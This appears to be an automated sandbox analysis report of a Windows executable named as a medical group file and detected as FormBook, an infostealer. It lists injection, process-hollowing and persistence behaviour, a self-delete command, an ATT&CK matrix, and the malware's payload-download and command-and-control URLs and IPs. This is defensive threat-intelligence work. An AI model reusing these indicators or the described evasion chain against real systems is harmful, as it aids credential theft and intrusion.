Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037D76E2 mov eax, dword ptr fs:[00000030h]	28_2_037D76E2
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F36CC mov eax, dword ptr fs:[00000030h]	28_2_037F36CC
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0387FE3F mov eax, dword ptr fs:[00000030h]	28_2_0387FE3F
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0388AE44 mov eax, dword ptr fs:[00000030h]	28_2_0388AE44
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0388AE44 mov eax, dword ptr fs:[00000030h]	28_2_0388AE44
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037EC577 mov eax, dword ptr fs:[00000030h]	28_2_037EC577
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037EC577 mov eax, dword ptr fs:[00000030h]	28_2_037EC577
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_038905AC mov eax, dword ptr fs:[00000030h]	28_2_038905AC
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_038905AC mov eax, dword ptr fs:[00000030h]	28_2_038905AC
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037E7D50 mov eax, dword ptr fs:[00000030h]	28_2_037E7D50
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F4D3B mov eax, dword ptr fs:[00000030h]	28_2_037F4D3B
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F4D3B mov eax, dword ptr fs:[00000030h]	28_2_037F4D3B
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F4D3B mov eax, dword ptr fs:[00000030h]	28_2_037F4D3B
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037D3D34 mov eax, dword ptr fs:[00000030h]	28_2_037D3D34
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037D3D34 mov eax, dword ptr fs:[00000030h]	28_2_037D3D34
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037D3D34 mov eax, dword ptr fs:[00000030h]	28_2_037D3D34
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037D3D34 mov eax, dword ptr fs:[00000030h]	28_2_037D3D34
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037D3D34 mov eax, dword ptr fs:[00000030h]	28_2_037D3D34
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037D3D34 mov eax, dword ptr fs:[00000030h]	28_2_037D3D34
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037D3D34 mov eax, dword ptr fs:[00000030h]	28_2_037D3D34
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037D3D34 mov eax, dword ptr fs:[00000030h]	28_2_037D3D34
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037D3D34 mov eax, dword ptr fs:[00000030h]	28_2_037D3D34
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037D3D34 mov eax, dword ptr fs:[00000030h]	28_2_037D3D34
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037D3D34 mov eax, dword ptr fs:[00000030h]	28_2_037D3D34
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037D3D34 mov eax, dword ptr fs:[00000030h]	28_2_037D3D34
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037D3D34 mov eax, dword ptr fs:[00000030h]	28_2_037D3D34

Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Process token adjusted: Debug			Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe

Network Connect: 104.21.89.82 80

Jump to behavior

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Section loaded: unknown target: C:\Windows\SysWOW64\help.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Section loaded: unknown target: C:\Windows\SysWOW64\help.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Thread register set: target process: 3388			Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Thread register set: target process: 3388			Jump to behavior

Queues an APC in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\Sleaford Medical Group.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Sample uses process hollowing technique

Show sources

Source: C:\Users\user\Desktop\Sleaford Medical Group.exe

Section unmapped: C:\Windows\SysWOW64\help.exe base address: E60000

Jump to behavior

Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Process created: C:\Users\user\Desktop\Sleaford Medical Group.exe 'C:\Users\user\Desktop\Sleaford Medical Group.exe'	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\Eftermiddages7\oversad.exe C:\Users\user\AppData\Local\Temp\Eftermiddages7\oversad.exe	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\Sleaford Medical Group.exe'	Jump to behavior

Source: explorer.exe, 00000018.00000000.501184741.0000000001398000.00000004.00000020.sdmp	Binary or memory string: ProgmanamF
Source: explorer.exe, 00000018.00000002.734973768.0000000001980000.00000002.00000001.sdmp, oversad.exe, 0000001A.00000002.732448844.0000000000C40000.00000002.00000001.sdmp, help.exe, 0000001C.00000002.737092327.0000000004C30000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000018.00000000.524058813.000000000871F000.00000004.00000001.sdmp, oversad.exe, 0000001A.00000002.732448844.0000000000C40000.00000002.00000001.sdmp, help.exe, 0000001C.00000002.737092327.0000000004C30000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000018.00000002.734973768.0000000001980000.00000002.00000001.sdmp, oversad.exe, 0000001A.00000002.732448844.0000000000C40000.00000002.00000001.sdmp, help.exe, 0000001C.00000002.737092327.0000000004C30000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000018.00000002.734973768.0000000001980000.00000002.00000001.sdmp, oversad.exe, 0000001A.00000002.732448844.0000000000C40000.00000002.00000001.sdmp, help.exe, 0000001C.00000002.737092327.0000000004C30000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected FormBook

Show sources

Source: Yara match	File source: 0000001C.00000002.731485750.0000000003530000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.731784931.0000000003560000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.551412840.00000000000A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.584974843.000000001E150000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp, type: MEMORY

Yara detected Generic Dropper

Show sources

Source: Yara match	File source: Process Memory Space: help.exe PID: 6328, type: MEMORY
Source: Yara match	File source: Process Memory Space: Sleaford Medical Group.exe PID: 5356, type: MEMORY

Remote Access Functionality:

Yara detected FormBook

Show sources

Source: Yara match	File source: 0000001C.00000002.731485750.0000000003530000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.731784931.0000000003560000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.551412840.00000000000A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.584974843.000000001E150000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting11	Registry Run Keys / Startup Folder11	Process Injection512	Rootkit1	Credential API Hooking1	Security Software Discovery721	Remote Services	Credential API Hooking1	Exfiltration Over Other Network Medium	Encrypted Channel12	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Shared Modules1	Boot or Logon Initialization Scripts	Registry Run Keys / Startup Folder11	Virtualization/Sandbox Evasion22	Input Capture1	Virtualization/Sandbox Evasion22	Remote Desktop Protocol	Input Capture1	Exfiltration Over Bluetooth	Ingress Tool Transfer1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Process Injection512	Security Account Manager	Process Discovery2	SMB/Windows Admin Shares	Archive Collected Data1	Automated Exfiltration	Non-Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Deobfuscate/Decode Files or Information1	NTDS	Remote System Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol3	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Scripting11	LSA Secrets	System Information Discovery32	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Obfuscated Files or Information3	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Software Packing1	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Link
Sleaford Medical Group.exe	48%	Virustotal	Browse
Sleaford Medical Group.exe	11%	ReversingLabs
Sleaford Medical Group.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\Eftermiddages7\oversad.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\Eftermiddages7\oversad.exe	11%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
22.3.Sleaford Medical Group.exe.8cfbb0.0.unpack	100%	Avira	TR/Patched.Gen		Download File

Domains

Source	Detection	Scanner	Label	Link
01677937777.burrow.io	5%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
https://www.landingberg.com/twy/?pPX=elx0UibK	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://cps.letsencrypt.org0	0%	URL Reputation	safe
http://cps.letsencrypt.org0	0%	URL Reputation	safe
http://cps.letsencrypt.org0	0%	URL Reputation	safe
https://01677937777.burrow.io/XzsF	0%	Avira URL Cloud	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.landingberg.com/twy/?pPX=elx0UibK+4/Nbm+qsvCMZ/KEfRavAHzyccJHHIU1h6WwAO+M5fT0/YOmYv0X1fYwTcwa&Hp=V6AHd0O0h	0%	Avira URL Cloud	safe
https://01677937777.burrow.io/spark/binwhyte_utZnZr121.binT	0%	Avira URL Cloud	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://r3.i.lencr.org/0	0%	URL Reputation	safe
http://r3.i.lencr.org/0	0%	URL Reputation	safe
http://r3.i.lencr.org/0	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
https://01677937777.burrow.io/spark/binwhyte_utZnZr121.bin	0%	Avira URL Cloud	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
https://01677937777.burrow.io/spark/binwhyte_utZnZr121.bin38	0%	Avira URL Cloud	safe
http://r3.o.lencr.org0	0%	URL Reputation	safe
http://r3.o.lencr.org0	0%	URL Reputation	safe
http://r3.o.lencr.org0	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
https://01677937777.burrow.io/uzTF	0%	Avira URL Cloud	safe
http://cps.root-x1.letsencrypt.org0	0%	URL Reputation	safe
http://cps.root-x1.letsencrypt.org0	0%	URL Reputation	safe
http://cps.root-x1.letsencrypt.org0	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
01677937777.burrow.io	159.203.144.58	true	false	5%, Virustotal, Browse	unknown
www.landingberg.com	104.21.89.82	true	true		unknown
waymakers.site	184.168.131.241	true	false		unknown
www.waymakers.site	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.landingberg.com/twy/?pPX=elx0UibK+4/Nbm+qsvCMZ/KEfRavAHzyccJHHIU1h6WwAO+M5fT0/YOmYv0X1fYwTcwa&Hp=V6AHd0O0h	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.landingberg.com/twy/?pPX=elx0UibK	help.exe, 0000001C.00000002.736924910.00000000041BF000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com	explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designersG	explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designers/?	explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/bThe	explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://cps.letsencrypt.org0	Sleaford Medical Group.exe, 00000016.00000002.567348461.0000000000899000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	false		high
https://01677937777.burrow.io/XzsF	Sleaford Medical Group.exe, 00000016.00000002.566373992.0000000000870000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://www.tiro.com	explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers	explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	false		high
https://01677937777.burrow.io/spark/binwhyte_utZnZr121.binT	Sleaford Medical Group.exe, 00000016.00000002.566373992.0000000000870000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://www.goodfont.co.kr	explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.carterandcone.coml	explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://r3.i.lencr.org/0	Sleaford Medical Group.exe, 00000016.00000002.567348461.0000000000899000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.sajatypeworks.com	explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.typography.netD	explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/cThe	explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://01677937777.burrow.io/spark/binwhyte_utZnZr121.bin	Sleaford Medical Group.exe	false	Avira URL Cloud: safe	unknown
http://fontfabrik.com	explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.founder.com.cn/cn	explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	false		high
http://www.jiyu-kobo.co.jp/	explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://01677937777.burrow.io/spark/binwhyte_utZnZr121.bin38	Sleaford Medical Group.exe, 00000016.00000002.565857663.0000000000858000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://r3.o.lencr.org0	Sleaford Medical Group.exe, 00000016.00000002.567348461.0000000000899000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	false		high
http://www.fonts.com	explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	false		high
http://www.sandoll.co.kr	explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.urwpp.deDPlease	explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.sakkal.com	explorer.exe, 00000018.00000000.524854082.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://01677937777.burrow.io/uzTF	Sleaford Medical Group.exe, 00000016.00000002.566373992.0000000000870000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://cps.root-x1.letsencrypt.org0	Sleaford Medical Group.exe, 00000016.00000002.567348461.0000000000899000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
159.203.144.58	unknown	United States		14061	DIGITALOCEAN-ASNUS	false
104.21.89.82	unknown	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	358420
Start date:	25.02.2021
Start time:	15:42:17
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Sleaford Medical Group.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	36
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@10/2@3/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 56% (good quality ratio 47.2%) Quality average: 68.5% Quality standard deviation: 35.1%
HCA Information:	Successful, ratio: 63% Number of executed functions: 135 Number of non-executed functions: 187
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe Override analysis time to 240s for sample files taking high CPU consumption
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 204.79.197.200, 13.107.21.200, 51.104.139.180, 13.88.21.125, 168.61.161.212, 104.43.139.144, 23.211.6.115, 52.255.188.83, 184.30.24.56, 8.253.207.120, 67.27.233.254, 67.27.159.126, 67.26.73.254, 8.248.149.254, 40.88.32.150, 92.122.213.247, 92.122.213.194, 20.54.26.129, 52.155.217.156 Excluded domains from analysis (whitelisted): arc.msn.com.nsatc.net, store-images.s-microsoft.com-c.edgekey.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, e12564.dspb.akamaiedge.net, skypedataprdcoleus15.cloudapp.net, www-bing-com.dual-a-0001.a-msedge.net, audownload.windowsupdate.nsatc.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, auto.au.download.windowsupdate.com.c.footprint.net, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, www.bing.com, displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, fs.microsoft.com, dual-a-0001.a-msedge.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, displaycatalog.md.mp.microsoft.com.akadns.net, skypedataprdcolcus17.cloudapp.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, skypedataprdcolcus16.cloudapp.net, ris.api.iris.microsoft.com, skypedataprdcoleus17.cloudapp.net, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, skypedataprdcolwus15.cloudapp.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
15:45:09	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce Tolerances6 C:\Users\user\AppData\Local\Temp\Eftermiddages7\oversad.vbs
15:45:20	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce Tolerances6 C:\Users\user\AppData\Local\Temp\Eftermiddages7\oversad.vbs

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
159.203.144.58	https://ob4lyn.burrow.io/septslip121/?8=generalserve8ip11-8666yu78788887898178808&rav=kwells@afex.com	Get hash	malicious	Browse

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CLOUDFLARENETUS	CN-Invoice-XXXXX9808-19011143287989.exe	Get hash	malicious	Browse	172.67.172.17
	dwg.exe	Get hash	malicious	Browse	104.21.56.93
	Purchase Order.exe	Get hash	malicious	Browse	104.21.19.200
	DHL Shipment Notification 49833912.pdf.exe	Get hash	malicious	Browse	104.21.19.200
	UAE CONTRACT SUPPLY.exe	Get hash	malicious	Browse	104.21.32.11
	RFQ - REF 208056-pdf.exe	Get hash	malicious	Browse	172.67.172.17
	CN-Invoice-XXXXX9808-19011143287994.exe	Get hash	malicious	Browse	172.67.172.17
	twistercrypted.exe	Get hash	malicious	Browse	104.18.28.12
	C1 PureQuest PO S1026710.xlsm	Get hash	malicious	Browse	104.16.19.94
	C1 PureQuest PO S1026710.xlsm	Get hash	malicious	Browse	104.16.18.94
	C1 PureQuest PO S1026710.xlsm	Get hash	malicious	Browse	104.17.234.204
	Returned Message Body.exe	Get hash	malicious	Browse	172.67.188.154
	W175EHpHv3.exe	Get hash	malicious	Browse	172.67.194.108
	Bankdaten #f6356.pdf.exe	Get hash	malicious	Browse	172.67.188.154
	W175EHpHv3.exe	Get hash	malicious	Browse	172.67.194.108
	PO#2102003.exe	Get hash	malicious	Browse	172.67.188.154
	Qvc Order .exe	Get hash	malicious	Browse	172.67.188.154
	company inquiry.exe	Get hash	malicious	Browse	172.67.188.154
	Neue Bestellung_WJO-001, pdf.exe	Get hash	malicious	Browse	104.21.19.200
	Order NX-LI-15-0001.exe	Get hash	malicious	Browse	104.21.19.200
DIGITALOCEAN-ASNUS	FB_1401_4_5,pdf.exe	Get hash	malicious	Browse	192.241.224.26
	document-9725971.xls	Get hash	malicious	Browse	206.189.10.247
	sOoaouUC1z.dll	Get hash	malicious	Browse	198.211.118.187
	SecuriteInfo.com.Heur.12472.xls	Get hash	malicious	Browse	128.199.91.194
	SecuriteInfo.com.Heur.12472.xls	Get hash	malicious	Browse	128.199.91.194
	dkWZ6hSN9M.dll	Get hash	malicious	Browse	206.189.10.247
	document-197066197.xls	Get hash	malicious	Browse	206.189.10.247
	530000.exe	Get hash	malicious	Browse	198.199.100.10
	fecRZG3xtP.exe	Get hash	malicious	Browse	138.197.53.157
	MV9tCJw8Xr.exe	Get hash	malicious	Browse	139.59.61.215
	Complaint_Letter_1186814227-02192021.xls	Get hash	malicious	Browse	159.89.174.35
	Complaint_Letter_1186814227-02192021.xls	Get hash	malicious	Browse	159.89.174.35
	Quotation Reques.exe	Get hash	malicious	Browse	138.197.103.178
	NewOrder.xlsm	Get hash	malicious	Browse	167.99.202.53
	rieuro.dll	Get hash	malicious	Browse	206.189.10.247
	document-1915351743.xls	Get hash	malicious	Browse	206.189.10.247
	DHL_Shipment_Notification#5436637389_22_FEB.exe	Get hash	malicious	Browse	165.22.240.4
	124992436.docx	Get hash	malicious	Browse	68.183.127.92
	124992436.docx	Get hash	malicious	Browse	68.183.127.92

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
